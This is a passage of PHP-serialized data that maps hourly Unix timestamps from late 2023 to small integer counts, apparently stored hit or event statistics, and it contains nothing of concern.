;a:1:{i:0;i:9;}i:1699642800;a:1:{i:0;i:10;}i:1699646400;a:1:{i:0;i:11;}i:1699650000;a:1:{i:0;i:10;}i:1699653600;a:1:{i:0;i:6;}i:1699657200;a:1:{i:0;i:8;}i:1699660800;a:1:{i:0;i:4;}i:1699664400;a:1:{i:0;i:6;}i:1699668000;a:1:{i:0;i:6;}i:1699671600;a:1:{i:0;i:14;}i:1699675200;a:1:{i:0;i:4;}i:1699678800;a:1:{i:0;i:12;}i:1699682400;a:1:{i:0;i:2;}i:1699686000;a:1:{i:0;i:8;}i:1699689600;a:1:{i:0;i:1;}i:1699693200;a:1:{i:0;i:1;}i:1699696800;a:1:{i:0;i:8;}i:1699700400;a:1:{i:0;i:4;}i:1699707600;a:1:{i:0;i:4;}i:1699711200;a:1:{i:0;i:10;}i:1699714800;a:1:{i:0;i:20;}i:1699718400;a:1:{i:0;i:22;}i:1699722000;a:1:{i:0;i:32;}i:1699725600;a:1:{i:0;i:25;}i:1699729200;a:1:{i:0;i:30;}i:1699732800;a:1:{i:0;i:20;}i:1699736400;a:1:{i:0;i:28;}i:1699740000;a:1:{i:0;i:16;}i:1699743600;a:1:{i:0;i:16;}i:1699747200;a:1:{i:0;i:3;}i:1699750800;a:1:{i:0;i:2;}i:1699754400;a:1:{i:0;i:1;}i:1699758000;a:1:{i:0;i:2;}i:1699761600;a:1:{i:0;i:28;}i:1699765200;a:1:{i:0;i:33;}i:1699768800;a:1:{i:0;i:21;}i:1699772400;a:1:{i:0;i:18;}i:1699776000;a:1:{i:0;i:23;}i:1699779600;a:1:{i:0;i:13;}i:1699783200;a:1:{i:0;i:1;}i:1699786800;a:1:{i:0;i:10;}i:1699790400;a:1:{i:0;i:10;}i:1699794000;a:1:{i:0;i:15;}i:1699797600;a:1:{i:0;i:3;}i:1699801200;a:1:{i:0;i:5;}i:1699804800;a:1:{i:0;i:13;}i:1699808400;a:1:{i:0;i:5;}i:1699812000;a:1:{i:0;i:10;}i:1699815600;a:1:{i:0;i:19;}i:1699819200;a:1:{i:0;i:13;}i:1699822800;a:1:{i:0;i:24;}i:1699826400;a:1:{i:0;i:14;}i:1699830000;a:1:{i:0;i:14;}i:1699833600;a:1:{i:0;i:5;}i:1699837200;a:1:{i:0;i:4;}i:1699840800;a:1:{i:0;i:16;}i:1699844400;a:1:{i:0;i:11;}i:1699848000;a:1:{i:0;i:22;}i:1699851600;a:1:{i:0;i:12;}i:1699855200;a:1:{i:0;i:20;}i:1699858800;a:1:{i:0;i:8;}i:1699862400;a:1:{i:0;i:8;}i:1699866000;a:1:{i:0;i:8;}i:1699869600;a:1:{i:0;i:20;}i:1699873200;a:1:{i:0;i:16;}i:1699876800;a:1:{i:0;i:6;}i:1699880400;a:1:{i:0;i:23;}i:1699884000;a:1:{i:0;i:11;}i:1699887600;a:2:{i:0;i:12;i:1;i:1;}i:1699891200;a:1:{i:0;i:12;}i:1699894800;a:1:{i:0;i:18;}i:1699898400;a:1:{i:0;i:12;}i:1699902000;a:1:{i:0;i:19;}i:1699905600;a:1:{i:0;i:22;}i:1699909200;a:1:{i:0;i:11;}i:1699912800;a:1:{i:0;i:24;}i:1699916400;a:1:{i:0;i:25;}i:1699920000;a:1:{i:0;i:26;}i:1699923600;a:1:{i:0;i:16;}i:1699927200;a:1:{i:0;i:38;}i:1699930800;a:1:{i:0;i:6;}i:1699934400;a:1:{i:0;i:7;}i:1699938000;a:1:{i:0;i:13;}i:1699941600;a:1:{i:0;i:12;}i:1699945200;a:1:{i:0;i:15;}i:1699948800;a:1:{i:0;i:10;}i:1699952400;a:1:{i:0;i:6;}i:1699956000;a:1:{i:0;i:7;}i:1699959600;a:1:{i:0;i:6;}i:1699963200;a:1:{i:0;i:6;}i:1699966800;a:1:{i:0;i:1;}i:1699970400;a:1:{i:0;i:4;}i:1699974000;a:1:{i:0;i:3;}i:1699977600;a:1:{i:0;i:6;}i:1699981200;a:1:{i:0;i:5;}i:1699984800;a:1:{i:0;i:6;}i:1699988400;a:1:{i:0;i:7;}i:1699992000;a:1:{i:0;i:5;}i:1699995600;a:1:{i:0;i:5;}i:1699999200;a:1:{i:0;i:4;}i:1700002800;a:1:{i:0;i:3;}i:1700006400;a:1:{i:0;i:4;}i:1700010000;a:1:{i:0;i:3;}i:1700013600;a:1:{i:0;i:8;}i:1700017200;a:1:{i:0;i:3;}i:1700020800;a:1:{i:0;i:8;}i:1700024400;a:1:{i:0;i:22;}i:1700028000;a:1:{i:0;i:26;}i:1700031600;a:1:{i:0;i:22;}i:1700035200;a:1:{i:0;i:14;}i:1700038800;a:1:{i:0;i:5;}i:1700042400;a:1:{i:0;i:2;}i:1700046000;a:1:{i:0;i:9;}i:1700049600;a:1:{i:0;i:4;}i:1700053200;a:1:{i:0;i:5;}i:1700056800;a:1:{i:0;i:4;}i:1700060400;a:1:{i:0;i:4;}i:1700064000;a:1:{i:0;i:1;}i:1700067600;a:1:{i:0;i:1;}i:1700071200;a:1:{i:0;i:4;}i:1700074800;a:1:{i:0;i:1;}i:1700078400;a:1:{i:0;i:2;}i:1700082000;a:1:{i:0;i:4;}i:1700085600;a:1:{i:0;i:4;}i:1700089200;a:1:{i:0;i:3;}i:1700092800;a:1:{i:0;i:10;}i:1700096400;a:1:{i:0;i:17;}i:1700100000;a:1:{i:0;i:10;}i:1700103600;a:1:{i:0;i:6;}i:1700107200;a:1:{i:0;i:5;}i:1700110800;a:1:{i:0;i:10;}i:1700114400;a:1:{i:0;i:7;}i:1700118000;a:1:{i:0;i:12;}i:1700121600;a:1:{i:0;i:9;}i:1700125200;a:1:{i:0;i:7;}i:1700128800;a:1:{i:0;i:4;}i:1700132400;a:1:{i:0;i:7;}i:1700136000;a:1:{i:0;i:7;}i:1700139600;a:1:{i:0;i:4;}i:1700143200;a:1:{i:0;i:6;}i:1700146800;a:1:{i:0;i:7;}i:1700150400;a:1:{i:0;i:8;}i:1700154000;a:1:{i:0;i:8;}i:1700157600;a:1:{i:0;i:4;}i:1700161200;a:2:{i:0;i:6;i:1;i:1;}i:1700164800;a:1:{i:0;i:9;}i:1700168400;a:1:{i:0;i:4;}i:1700172000;a:1:{i:0;i:3;}i:1700175600;a:1:{i:0;i:5;}i:1700179200;a:1:{i:0;i:4;}i:1700186400;a:1:{i:0;i:1;}i:1700193600;a:1:{i:0;i:3;}i:1700200800;a:1:{i:0;i:2;}i:1700204400;a:1:{i:0;i:2;}i:1700208000;a:1:{i:0;i:3;}i:1700211600;a:1:{i:0;i:2;}i:1700215200;a:1:{i:0;i:4;}i:1700218800;a:1:{i:0;i:7;}i:1700222400;a:1:{i:0;i:6;}i:1700226000;a:1:{i:0;i:5;}i:1700229600;a:1:{i:0;i:3;}i:1700233200;a:1:{i:0;i:3;}i:1700236800;a:1:{i:0;i:9;}i:1700240400;a:1:{i:0;i:8;}i:1700244000;a:1:{i:0;i:7;}i:1700247600;a:1:{i:0;i:5;}i:1700251200;a:1:{i:0;i:7;}i:1700254800;a:1:{i:0;i:4;}i:1700258400;a:1:{i:0;i:3;}i:1700262000;a:1:{i:0;i:3;}i:1700265600;a:1:{i:0;i:3;}i:1700272800;a:1:{i:0;i:1;}i:1700276400;a:1:{i:0;i:4;}i:1700280000;a:1:{i:0;i:2;}i:1700283600;a:1:{i:0;i:2;}i:1700290800;a:1:{i:0;i:8;}i:1700294400;a:1:{i:0;i:1;}i:1700298000;a:1:{i:0;i:1;}i:1700301600;a:1:{i:0;i:1;}i:1700305200;a:1:{i:0;i:1;}i:1700308800;a:1:{i:0;i:2;}i:1700312400;a:1:{i:0;i:5;}i:1700323200;a:1:{i:0;i:3;}i:1700326800;a:1:{i:0;i:1;}i:1700330400;a:1:{i:0;i:2;}i:1700334000;a:1:{i:0;i:2;}i:1700337600;a:1:{i:0;i:5;}i:1700348400;a:1:{i:0;i:2;}i:1700352000;a:1:{i:0;i:2;}i:1700355600;a:1:{i:0;i:5;}i:1700359200;a:1:{i:0;i:7;}i:1700362800;a:1:{i:0;i:1;}i:1700366400;a:1:{i:0;i:3;}i:1700370000;a:1:{i:0;i:5;}i:1700373600;a:1:{i:0;i:10;}i:1700377200;a:1:{i:0;i:8;}i:1700380800;a:1:{i:0;i:10;}i:1700384400;a:1:{i:0;i:10;}i:1700388000;a:1:{i:0;i:8;}i:1700391600;a:1:{i:0;i:8;}i:1700395200;a:1:{i:0;i:3;}i:1700402400;a:1:{i:0;i:1;}i:1700406000;a:1:{i:0;i:6;}i:1700409600;a:1:{i:0;i:3;}i:1700413200;a:1:{i:0;i:3;}i:1700416800;a:1:{i:0;i:5;}i:1700420400;a:1:{i:0;i:4;}i:1700424000;a:1:{i:0;i:7;}i:1700427600;a:1:{i:0;i:3;}i:1700431200;a:1:{i:0;i:3;}i:1700434800;a:1:{i:0;i:5;}i:1700438400;a:1:{i:0;i:5;}i:1700442000;a:1:{i:0;i:5;}i:1700445600;a:1:{i:0;i:2;}i:1700449200;a:1:{i:0;i:6;}i:1700452800;a:1:{i:0;i:3;}i:1700456400;a:1:{i:0;i:3;}i:1700460000;a:1:{i:0;i:4;}i:1700463600;a:1:{i:0;i:6;}i:1700467200;a:1:{i:0;i:4;}i:1700470800;a:1:{i:0;i:3;}i:1700474400;a:1:{i:0;i:5;}i:1700478000;a:1:{i:0;i:6;}i:1700481600;a:1:{i:0;i:7;}i:1700485200;a:1:{i:0;i:6;}i:1700488800;a:1:{i:0;i:5;}i:1700492400;a:1:{i:0;i:7;}i:1700496000;a:1:{i:0;i:15;}i:1700499600;a:1:{i:0;i:4;}i:1700503200;a:1:{i:0;i:2;}i:1700506800;a:1:{i:0;i:7;}i:1700510400;a:1:{i:0;i:6;}i:1700514000;a:1:{i:0;i:2;}i:1700517600;a:1:{i:0;i:17;}i:1700521200;a:1:{i:0;i:3;}i:1700524800;a:1:{i:0;i:1;}i:1700528400;a:1:{i:0;i:7;}i:1700532000;a:1:{i:0;i:6;}i:1700535600;a:1:{i:0;i:8;}i:1700539200;a:1:{i:0;i:7;}i:1700542800;a:1:{i:0;i:6;}i:1700546400;a:1:{i:0;i:8;}i:1700550000;a:1:{i:0;i:17;}i:1700553600;a:1:{i:0;i:5;}i:1700557200;a:1:{i:0;i:10;}i:1700560800;a:1:{i:0;i:21;}i:1700564400;a:1:{i:0;i:2;}i:1700568000;a:1:{i:0;i:3;}i:1700571600;a:1:{i:0;i:5;}i:1700575200;a:1:{i:0;i:8;}i:1700578800;a:1:{i:0;i:12;}i:1700582400;a:1:{i:0;i:6;}i:1700586000;a:1:{i:0;i:4;}i:1700589600;a:1:{i:0;i:9;}i:1700593200;a:1:{i:0;i:1;}i:1700596800;a:1:{i:0;i:2;}i:1700600400;a:1:{i:0;i:15;}i:1700604000;a:1:{i:0;i:2;}i:1700607600;a:1:{i:0;i:3;}i:1700611200;a:1:{i:0;i:6;}i:1700614800;a:1:{i:0;i:13;}i:1700618400;a:1:{i:0;i:2;}i:1700622000;a:1:{i:0;i:4;}i:1700625600;a:1:{i:0;i:1;}i:1700629200;a:1:{i:0;i:4;}i:1700632800;a:1:{i:0;i:6;}i:1700636400;a:1:{i:0;i:20;}i:1700640000;a:1:{i:0;i:13;}i:1700643600;a:1:{i:0;i:4;}i:1700647200;a:1:{i:0;i:5;}i:1700650800;a:1:{i:0;i:10;}i:1700654400;a:1:{i:0;i:7;}i:1700658000;a:1:{i:0;i:13;}i:1700661600;a:1:{i:0;i:11;}i:1700665200;a:1:{i:0;i:7;}i:1700668800;a:1:{i:0;i:10;}i:1700672400;a:1:{i:0;i:6;}i:1700676000;a:1:{i:0;i:9;}i:1700679600;a:1:{i:0;i:19;}i:1700683200;a:1:{i:0;i:6;}i:1700686800;a:1:{i:0;i:4;}i:1700690400;a:1:{i:0;i:5;}i:1700694000;a:1:{i:0;i:2;}i:1700697600;a:1:{i:0;i:10;}i:1700701200;a:1:{i:0;i:5;}i:1700704800;a:1:{i:0;i:4;}i:1700708400;a:1:{i:0;i:2;}i:1700712000;a:1:{i:0;i:9;}i:1700715600;a:1:{i:0;i:1;}i:1700719200;a:1:{i:0;i:7;}i:1700722800;a:1:{i:0;i:18;}i:1700726400;a:1:{i:0;i:1;}i:1700730000;a:1:{i:0;i:3;}i:1700733600;a:1:{i:0;i:3;}i:1700737200;a:1:{i:0;i:1;}i:1700740800;a:1:{i:0;i:12;}i:1700744400;a:1:{i:0;i:6;}i:1700748000;a:1:{i:0;i:4;}i:1700751600;a:1:{i:0;i:3;}i:1700755200;a:1:{i:0;i:1;}i:1700758800;a:1:{i:0;i:4;}i:1700762400;a:1:{i:0;i:5;}i:1700766000;a:1:{i:0;i:14;}i:1700769600;a:1:{i:0;i:1;}i:1700773200;a:1:{i:0;i:4;}i:1700776800;a:1:{i:0;i:3;}i:1700780400;a:1:{i:0;i:3;}i:1700784000;a:1:{i:0;i:13;}i:1700787600;a:1:{i:0;i:3;}i:1700791200;a:1:{i:0;i:3;}i:1700794800;a:1:{i:0;i:2;}i:1700802000;a:1:{i:0;i:1;}i:1700805600;a:1:{i:0;i:3;}i:1700809200;a:1:{i:0;i:10;}i:1700812800;a:1:{i:0;i:6;}i:1700816400;a:1:{i:0;i:2;}i:1700820000;a:1:{i:0;i:1;}i:1700827200;a:1:{i:0;i:17;}i:1700830800;a:1:{i:0;i:3;}i:1700834400;a:1:{i:0;i:2;}i:1700838000;a:1:{i:0;i:1;}i:1700841600;a:1:{i:0;i:2;}i:1700845200;a:1:{i:0;i:1;}i:1700848800;a:1:{i:0;i:1;}i:1700852400;a:1:{i:0;i:1;}i:1700856000;a:1:{i:0;i:11;}i:1700859600;a:1:{i:0;i:1;}i:1700863200;a:1:{i:0;i:1;}i:1700866800;a:1:{i:0;i:1;}i:1700870400;a:1:{i:0;i:3;}i:1700874000;a:1:{i:0;i:10;}i:1700877600;a:1:{i:0;i:2;}i:1700884800;a:1:{i:0;i:1;}i:1700888400;a:1:{i:0;i:4;}i:1700892000;a:1:{i:0;i:2;}i:1700895600;a:1:{i:0;i:1;}i:1700899200;a:1:{i:0;i:5;}i:1700902800;a:1:{i:0;i:12;}i:1700906400;a:1:{i:0;i:2;}i:1700910000;a:1:{i:0;i:1;}i:1700913600;a:1:{i:0;i:3;}i:1700920800;a:1:{i:0;i:4;}i:1700924400;a:1:{i:0;i:9;}i:1700931600;a:1:{i:0;i:1;}i:1700935200;a:1:{i:0;i:3;}i:1700938800;a:1:{i:0;i:1;}i:1700942400;a:1:{i:0;i:1;}i:1700949600;a:1:{i:0;i:1;}i:1700953200;a:1:{i:0;i:18;}i:1700960400;a:1:{i:0;i:15;}i:1700964000;a:1:{i:0;i:6;}i:1700967600;a:1:{i:0;i:4;}i:1700971200;a:1:{i:0;i:4;}i:1700974800;a:1:{i:0;i:6;}i:1700978400;a:1:{i:0;i:13;}i:1700982000;a:1:{i:0;i:5;}i:1700985600;a:1:{i:0;i:10;}i:1700989200;a:1:{i:0;i:11;}i:1700992800;a:1:{i:0;i:1;}i:1700996400;a:1:{i:0;i:3;}i:1701000000;a:1:{i:0;i:1;}i:1701003600;a:1:{i:0;i:17;}i:1701007200;a:1:{i:0;i:9;}i:1701010800;a:1:{i:0;i:5;}i:1701014400;a:1:{i:0;i:2;}i:1701018000;a:1:{i:0;i:5;}i:1701021600;a:1:{i:0;i:2;}i:1701025200;a:1:{i:0;i:6;}i:1701028800;a:1:{i:0;i:18;}i:1701032400;a:1:{i:0;i:3;}i:1701036000;a:1:{i:0;i:3;}i:1701039600;a:1:{i:0;i:1;}i:1701043200;a:1:{i:0;i:1;}i:1701046800;a:1:{i:0;i:2;}i:1701050400;a:1:{i:0;i:11;}i:1701054000;a:1:{i:0;i:3;}i:1701057600;a:1:{i:0;i:1;}i:1701061200;a:1:{i:0;i:3;}i:1701075600;a:1:{i:0;i:1;}i:1701079200;a:1:{i:0;i:11;}i:1701090000;a:1:{i:0;i:1;}i:1701093600;a:1:{i:0;i:11;}i:1701097200;a:1:{i:0;i:1;}i:1701100800;a:1:{i:0;i:1;}i:1701108000;a:1:{i:0;i:1;}i:1701111600;a:1:{i:0;i:1;}i:1701115200;a:1:{i:0;i:12;}i:1701126000;a:1:{i:0;i:1;}i:1701129600;a:1:{i:0;i:8;}i:1701133200;a:1:{i:0;i:2;}i:1701136800;a:1:{i:0;i:5;}i:1701144000;a:1:{i:0;i:4;}i:1701147600;a:1:{i:0;i:5;}i:1701151200;a:1:{i:0;i:12;}i:1701154800;a:1:{i:0;i:13;}i:1701158400;a:1:{i:0;i:9;}i:1701162000;a:1:{i:0;i:15;}i:1701165600;a:1:{i:0;i:17;}i:1701169200;a:1:{i:0;i:3;}i:1701172800;a:1:{i:0;i:2;}i:1701176400;a:1:{i:0;i:3;}i:1701180000;a:1:{i:0;i:3;}i:1701183600;a:1:{i:0;i:1;}i:1701187200;a:1:{i:0;i:10;}i:1701190800;a:1:{i:0;i:11;}i:1701194400;a:1:{i:0;i:7;}i:1701198000;a:1:{i:0;i:10;}i:1701201600;a:1:{i:0;i:7;}i:1701205200;a:1:{i:0;i:3;}i:1701208800;a:1:{i:0;i:13;}i:1701212400;a:1:{i:0;i:4;}i:1701216000;a:1:{i:0;i:5;}i:1701219600;a:1:{i:0;i:5;}i:1701223200;a:1:{i:0;i:4;}i:1701226800;a:1:{i:0;i:6;}i:1701230400;a:1:{i:0;i:5;}i:1701234000;a:1:{i:0;i:14;}i:1701237600;a:1:{i:0;i:7;}i:1701241200;a:1:{i:0;i:2;}i:1701244800;a:1:{i:0;i:6;}i:1701248400;a:1:{i:0;i:11;}i:1701252000;a:1:{i:0;i:5;}i:1701255600;a:1:{i:0;i:1;}i:1701259200;a:1:{i:0;i:1;}i:1701262800;a:1:{i:0;i:3;}i:1701266400;a:1:{i:0;i:14;}i:1701270000;a:1:{i:0;i:7;}i:1701273600;a:1:{i:0;i:3;}i:1701277200;a:1:{i:0;i:5;}i:1701280800;a:1:{i:0;i:4;}i:1701284400;a:1:{i:0;i:3;}i:1701288000;a:1:{i:0;i:17;}i:1701291600;a:1:{i:0;i:9;}i:1701295200;a:1:{i:0;i:1;}i:1701298800;a:1:{i:0;i:4;}i:1701302400;a:1:{i:0;i:12;}i:1701306000;a:1:{i:0;i:6;}i:1701309600;a:1:{i:0;i:8;}i:1701313200;a:1:{i:0;i:10;}i:1701316800;a:1:{i:0;i:13;}i:1701320400;a:1:{i:0;i:22;}i:1701324000;a:1:{i:0;i:13;}i:1701327600;a:1:{i:0;i:5;}i:1701331200;a:1:{i:0;i:9;}i:1701334800;a:1:{i:0;i:1;}i:1701342000;a:1:{i:0;i:6;}i:1701345600;a:1:{i:0;i:11;}i:1701349200;a:1:{i:0;i:2;}i:1701352800;a:1:{i:0;i:8;}i:1701356400;a:1:{i:0;i:2;}i:1701360000;a:1:{i:0;i:4;}i:1701363600;a:1:{i:0;i:22;}i:1701367200;a:1:{i:0;i:9;}i:1701370800;a:1:{i:0;i:4;}i:1701374400;a:1:{i:0;i:8;}i:1701378000;a:1:{i:0;i:10;}i:1701381600;a:1:{i:0;i:13;}i:1701385200;a:1:{i:0;i:7;}i:1701388800;a:1:{i:0;i:4;}i:1701392400;a:1:{i:0;i:11;}i:1701396000;a:1:{i:0;i:4;}i:1701399600;a:1:{i:0;i:13;}i:1701403200;a:1:{i:0;i:10;}i:1701406800;a:1:{i:0;i:1;}i:1701410400;a:1:{i:0;i:8;}i:1701414000;a:1:{i:0;i:5;}i:1701417600;a:1:{i:0;i:11;}i:1701421200;a:1:{i:0;i:6;}i:1701424800;a:1:{i:0;i:4;}i:1701428400;a:1:{i:0;i:5;}i:1701432000;a:1:{i:0;i:2;}i:1701435600;a:1:{i:0;i:24;}i:1701439200;a:1:{i:0;i:9;}i:1701442800;a:1:{i:0;i:12;}i:1701446400;a:1:{i:0;i:13;}i:1701450000;a:1:{i:0;i:8;}i:1701453600;a:1:{i:0;i:9;}i:1701457200;a:1:{i:0;i:25;}i:1701460800;a:1:{i:0;i:8;}i:1701464400;a:1:{i:0;i:3;}i:1701468000;a:1:{i:0;i:12;}i:1701471600;a:1:{i:0;i:16;}i:1701475200;a:1:{i:0;i:6;}i:1701478800;a:1:{i:0;i:6;}i:1701482400;a:1:{i:0;i:8;}i:1701486000;a:1:{i:0;i:9;}i:1701489600;a:1:{i:0;i:16;}i:1701493200;a:1:{i:0;i:16;}i:1701496800;a:1:{i:0;i:8;}i:1701500400;a:1:{i:0;i:5;}i:1701504000;a:1:{i:0;i:5;}i:1701507600;a:1:{i:0;i:18;}i:1701511200;a:1:{i:0;i:5;}i:1701514800;a:1:{i:0;i:4;}i:1701518400;a:1:{i:0;i:14;}i:1701522000;a:1:{i:0;i:3;}i:1701525600;a:1:{i:0;i:5;}i:1701529200;a:1:{i:0;i:7;}i:1701532800;a:1:{i:0;i:10;}i:1701536400;a:1:{i:0;i:9;}i:1701540000;a:1:{i:0;i:5;}i:1701543600;a:1:{i:0;i:7;}i:1701550800;a:1:{i:0;i:20;}i:1701554400;a:1:{i:0;i:2;}i:1701558000;a:1:{i:0;i:10;}i:1701561600;a:1:{i:0;i:8;}i:1701565200;a:1:{i:0;i:3;}i:1701568800;a:1:{i:0;i:19;}i:1701572400;a:1:{i:0;i:3;}i:1701576000;a:1:{i:0;i:3;}i:1701579600;a:1:{i:0;i:10;}i:1701583200;a:1:{i:0;i:13;}i:1701586800;a:1:{i:0;i:13;}i:1701590400;a:1:{i:0;i:7;}i:1701594000;a:1:{i:0;i:13;}i:1701597600;a:1:{i:0;i:4;}i:1701601200;a:1:{i:0;i:3;}i:1701604800;a:1:{i:0;i:6;}i:1701608400;a:1:{i:0;i:12;}i:1701612000;a:1:{i:0;i:8;}i:1701615600;a:1:{i:0;i:1;}i:1701619200;a:1:{i:0;i:8;}i:1701622800;a:1:{i:0;i:4;}i:1701626400;a:1:{i:0;i:4;}i:1701630000;a:1:{i:0;i:12;}i:1701633600;a:1:{i:0;i:7;}i:1701637200;a:1:{i:0;i:2;}i:1701640800;a:1:{i:0;i:3;}i:1701644400;a:1:{i:0;i:12;}i:1701651600;a:1:{i:0;i:2;}i:1701655200;a:1:{i:0;i:2;}i:1701658800;a:1:{i:0;i:2;}i:1701662400;a:1:{i:0;i:4;}i:1701666000;a:1:{i:0;i:16;}i:1701669600;a:1:{i:0;i:6;}i:1701673200;a:1:{i:0;i:7;}i:1701676800;a:1:{i:0;i:6;}i:1701680400;a:1:{i:0;i:7;}i:1701684000;a:1:{i:0;i:4;}i:1701687600;a:1:{i:0;i:9;}i:1701691200;a:1:{i:0;i:4;}i:1701694800;a:1:{i:0;i:2;}i:1701698400;a:1:{i:0;i:4;}i:1701702000;a:1:{i:0;i:3;}i:1701705600;a:1:{i:0;i:12;}i:1701709200;a:1:{i:0;i:4;}i:1701712800;a:1:{i:0;i:3;}i:1701716400;a:1:{i:0;i:3;}i:1701720000;a:1:{i:0;i:6;}i:1701723600;a:1:{i:0;i:10;}i:1701727200;a:1:{i:0;i:3;}i:1701730800;a:1:{i:0;i:1;}i:1701734400;a:1:{i:0;i:2;}i:1701738000;a:1:{i:0;i:9;}i:1701741600;a:1:{i:0;i:7;}i:1701745200;a:1:{i:0;i:5;}i:1701748800;a:1:{i:0;i:3;}i:1701752400;a:1:{i:0;i:2;}i:1701759600;a:1:{i:0;i:6;}i:1701763200;a:1:{i:0;i:1;}i:1701770400;a:1:{i:0;i:2;}i:1701774000;a:1:{i:0;i:5;}i:1701777600;a:1:{i:0;i:2;}i:1701792000;a:1:{i:0;i:1;}i:1701802800;a:1:{i:0;i:6;}i:1701810000;a:1:{i:0;i:3;}i:1701813600;a:1:{i:0;i:14;}i:1701817200;a:1:{i:0;i:10;}i:1701820800;a:1:{i:0;i:9;}i:1701824400;a:1:{i:0;i:12;}i:1701828000;a:1:{i:0;i:18;}i:1701831600;a:1:{i:0;i:9;}i:1701835200;a:1:{i:0;i:12;}i:1701838800;a:1:{i:0;i:14;}i:1701842400;a:1:{i:0;i:15;}i:1701846000;a:1:{i:0;i:14;}i:1701849600;a:1:{i:0;i:8;}i:1701853200;a:1:{i:0;i:17;}i:1701856800;a:1:{i:0;i:18;}i:1701860400;a:1:{i:0;i:12;}i:1701864000;a:1:{i:0;i:1;}i:1701867600;a:1:{i:0;i:1;}i:1701871200;a:1:{i:0;i:16;}i:1701878400;a:1:{i:0;i:4;}i:1701885600;a:1:{i:0;i:14;}i:1701892800;a:1:{i:0;i:2;}i:1701896400;a:1:{i:0;i:1;}i:1701900000;a:1:{i:0;i:13;}i:1701907200;a:1:{i:0;i:2;}i:1701910800;a:1:{i:0;i:13;}i:1701914400;a:1:{i:0;i:1;}i:1701918000;a:1:{i:0;i:2;}i:1701921600;a:1:{i:0;i:4;}i:1701925200;a:1:{i:0;i:7;}i:1701932400;a:1:{i:0;i:3;}i:1701936000;a:1:{i:0;i:2;}i:1701946800;a:1:{i:0;i:9;}i:1701964800;a:1:{i:0;i:14;}i:1701982800;a:1:{i:0;i:14;}i:1701986400;a:1:{i:0;i:4;}i:1701997200;a:1:{i:0;i:37;}i:1702000800;a:1:{i:0;i:4;}i:1702004400;a:1:{i:0;i:17;}i:1702008000;a:1:{i:0;i:9;}i:1702011600;a:1:{i:0;i:12;}i:1702015200;a:1:{i:0;i:10;}i:1702018800;a:1:{i:0;i:10;}i:1702022400;a:1:{i:0;i:9;}i:1702029600;a:1:{i:0;i:1;}i:1702033200;a:1:{i:0;i:2;}i:1702036800;a:1:{i:0;i:8;}i:1702040400;a:1:{i:0;i:15;}i:1702044000;a:1:{i:0;i:3;}i:1702047600;a:1:{i:0;i:1;}i:1702051200;a:1:{i:0;i:2;}i:1702054800;a:1:{i:0;i:1;}i:1702058400;a:1:{i:0;i:14;}i:1702062000;a:1:{i:0;i:6;}i:1702065600;a:1:{i:0;i:4;}i:1702069200;a:1:{i:0;i:5;}i:1702072800;a:1:{i:0;i:4;}i:1702076400;a:1:{i:0;i:5;}i:1702080000;a:1:{i:0;i:18;}i:1702083600;a:1:{i:0;i:8;}i:1702087200;a:1:{i:0;i:5;}i:1702090800;a:1:{i:0;i:4;}i:1702094400;a:1:{i:0;i:5;}i:1702098000;a:1:{i:0;i:16;}i:1702101600;a:1:{i:0;i:7;}i:1702105200;a:1:{i:0;i:5;}i:1702108800;a:1:{i:0;i:7;}i:1702112400;a:1:{i:0;i:7;}i:1702116000;a:1:{i:0;i:6;}i:1702119600;a:1:{i:0;i:1;}i:1702123200;a:1:{i:0;i:13;}i:1702126800;a:1:{i:0;i:18;}i:1702130400;a:1:{i:0;i:6;}i:1702134000;a:1:{i:0;i:6;}i:1702137600;a:1:{i:0;i:14;}i:1702141200;a:1:{i:0;i:11;}i:1702144800;a:1:{i:0;i:19;}i:1702148400;a:1:{i:0;i:6;}i:1702152000;a:1:{i:0;i:7;}i:1702155600;a:1:{i:0;i:1;}i:1702166400;a:1:{i:0;i:10;}i:1702170000;a:1:{i:0;i:1;}i:1702177200;a:1:{i:0;i:1;}i:1702180800;a:1:{i:0;i:4;}i:1702184400;a:1:{i:0;i:14;}i:1702188000;a:1:{i:0;i:10;}i:1702191600;a:1:{i:0;i:8;}i:1702195200;a:1:{i:0;i:5;}i:1702198800;a:1:{i:0;i:6;}i:1702202400;a:1:{i:0;i:1;}i:1702206000;a:1:{i:0;i:1;}i:1702209600;a:1:{i:0;i:2;}i:1702213200;a:1:{i:0;i:10;}i:1702220400;a:1:{i:0;i:3;}i:1702224000;a:1:{i:0;i:3;}i:1702227600;a:1:{i:0;i:4;}i:1702231200;a:1:{i:0;i:16;}i:1702234800;a:1:{i:0;i:3;}i:1702238400;a:1:{i:0;i:4;}i:1702242000;a:1:{i:0;i:3;}i:1702245600;a:1:{i:0;i:2;}i:1702249200;a:1:{i:0;i:2;}i:1702252800;a:1:{i:0;i:12;}i:1702256400;a:1:{i:0;i:7;}i:1702260000;a:1:{i:0;i:13;}i:1702263600;a:1:{i:0;i:16;}i:1702267200;a:1:{i:0;i:14;}i:1702270800;a:1:{i:0;i:14;}i:1702274400;a:1:{i:0;i:7;}i:1702278000;a:1:{i:0;i:6;}i:1702281600;a:1:{i:0;i:7;}i:1702285200;a:1:{i:0;i:10;}i:1702288800;a:1:{i:0;i:4;}i:1702292400;a:1:{i:0;i:5;}i:1702296000;a:1:{i:0;i:3;}i:1702299600;a:1:{i:0;i:4;}i:1702303200;a:1:{i:0;i:3;}i:1702306800;a:1:{i:0;i:8;}i:1702310400;a:1:{i:0;i:2;}i:1702314000;a:1:{i:0;i:5;}i:1702317600;a:1:{i:0;i:3;}i:1702321200;a:1:{i:0;i:3;}i:1702324800;a:1:{i:0;i:3;}i:1702328400;a:1:{i:0;i:8;}i:1702332000;a:1:{i:0;i:2;}i:1702335600;a:1:{i:0;i:4;}i:1702339200;a:1:{i:0;i:3;}i:1702342800;a:1:{i:0;i:5;}i:1702346400;a:1:{i:0;i:11;}i:1702350000;a:1:{i:0;i:7;}i:1702353600;a:1:{i:0;i:7;}i:1702357200;a:1:{i:0;i:12;}i:1702360800;a:1:{i:0;i:12;}i:1702364400;a:1:{i:0;i:7;}i:1702368000;a:1:{i:0;i:15;}i:1702371600;a:1:{i:0;i:5;}i:1702375200;a:1:{i:0;i:3;}i:1702378800;a:1:{i:0;i:10;}i:1702382400;a:1:{i:0;i:4;}i:1702386000;a:1:{i:0;i:1;}i:1702389600;a:1:{i:0;i:2;}i:1702393200;a:1:{i:0;i:13;}i:1702396800;a:1:{i:0;i:2;}i:1702400400;a:1:{i:0;i:1;}i:1702404000;a:1:{i:0;i:3;}i:1702407600;a:1:{i:0;i:2;}i:1702411200;a:1:{i:0;i:10;}i:1702414800;a:1:{i:0;i:2;}i:1702418400;a:1:{i:0;i:1;}i:1702422000;a:1:{i:0;i